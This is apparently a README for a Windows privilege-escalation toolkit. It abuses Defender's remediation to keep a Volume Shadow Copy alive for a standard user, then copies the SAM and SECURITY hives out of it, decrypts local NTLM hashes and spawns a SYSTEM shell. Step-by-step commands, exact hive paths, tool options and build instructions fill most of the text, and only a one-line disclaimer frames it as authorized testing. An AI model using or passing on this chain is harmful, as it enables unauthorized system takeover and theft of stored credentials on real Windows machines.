vss-fr2system

Two small tools that turn an arbitrary file read bug on Windows into a SYSTEM shell.

• vss_freeze/ — creates a Volume Shadow Copy as a standard user, then holds it open so you have time to read the SAM/SECURITY/SYSTEM hives out of it
• fr2system/ — takes the hives you copied out, decrypts the local NTLM hashes offline, and pops a SYSTEM shell

Together with any arb-file-read primitive that runs as SYSTEM (or anything that can read out of \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...), this is a complete std-user → SYSTEM chain on a default Win10/Win11 box.

Background

This was extracted out of BlueHammer — the Win Defender abuse research where we found that dropping an EICAR file under a watched path makes Defender create a Volume Shadow Copy as part of its remediation flow. We held a RstrtMgr.dll batch oplock on Defender's load path so Defender stays parked at the start of remediation, which in turn keeps the VSS alive for as long as we need.

Originally there was a Stage 2 cldflt freeze on top of that, but cldflt rejects non-OneDrive sync providers on Win11 24H2 (CfRegisterSyncRoot returns 0x80070057). Just holding the Stage 1 oplock open turned out to be enough — Defender stays paused, VSS stays alive, no Cloud Files API at all.

The chain

Real LPE (you already have an arb file read)

[ vss_simple_freeze.exe ]   →   [ your arb-read PoC ]   →   [ fr2system.exe ]
   creates VSS as std user        reads SAM/SECURITY        cracks NTLM, pops SYSTEM
   holds it via oplock            out of the VSS path       shell

1. Run vss_simple_freeze.exe --hold 120 as a normal user. It prints the VSS path, e.g. \Device\HarddiskVolumeShadowCopy7.
2. Run your arb-file-read bug to read these out of the VSS:
   • \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SAM
   • \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\Config\SECURITY
   • Drop them as C:\Windows\Temp\fileread\SAM and C:\Windows\Temp\fileread\SECURITY.
3. Run fr2system.exe. SYSTEM shell.

Testing without an arb-read bug

If you just want to verify the chain works end-to-end on your box, fake the arb-read step with an admin cmd:

:: Window 1 - std user
vss_simple_freeze.exe --hold 300

:: Window 2 - admin cmd (simulating the arb-read primitive)
mkdir C:\Windows\Temp\fileread
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SAM"      C:\Windows\Temp\fileread\SAM
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\System32\Config\SECURITY" C:\Windows\Temp\fileread\SECURITY

:: Window 3 - std user again
fr2system.exe

(Replace 7 with whatever number vss_simple_freeze printed.)

Usage

vss_simple_freeze

vss_simple_freeze.exe [options]

  --hold N            Auto-release after N seconds (default: wait for Enter)
  --auto              Non-interactive, hold up to 600s
  --publish FILE      Write VSS path to FILE (default: %TEMP%\vss_current.txt)
  --no-publish        Don't write VSS path anywhere
  --event NAME        Release when named event Local\NAME is signaled
  --quiet             Suppress per-second liveness output
  --help              Show help

Examples:
  vss_simple_freeze.exe                              # interactive, Enter to release
  vss_simple_freeze.exe --hold 120                   # auto-release after 2 min
  vss_simple_freeze.exe --event lpe_done --hold 300  # release on signal or 5 min

fr2system

fr2system.exe [options]

  (none)                Default - read SAM/SECURITY from C:\Windows\Temp\fileread, escalate to SYSTEM
  --dump                Dump NTLM hashes only, don't escalate
  --scan                Scan for alternative credential sources
  --path DIR            Use a different input directory
  --help                Show help

Examples:
  fr2system.exe
  fr2system.exe --dump
  fr2system.exe --path C:\lab\hives

fr2system.exe expects at least SAM in the input dir. SECURITY is optional (used for LSA secrets / DPAPI keys).

Build

Both projects use MSVC (static CRT, x64).

cd vss_freeze
build_vss_simple_freeze.bat

cd fr2system
msbuild fr2system.sln /p:Configuration=Release /p:Platform=x64

Screenshots

VSS creation:

fr2system → SYSTEM shell:

Notes

• Tested on Win10 22H2 and Win11 23H2/24H2 with Defender enabled.
• The VSS technique relies on Defender's remediation flow. With Defender disabled or replaced by another AV, the Stage 1 oplock won't fire and no VSS will be created — pick a different VSS primitive in that case.
• This is research / authorized pentest tooling. Don't run it on systems you're not allowed to.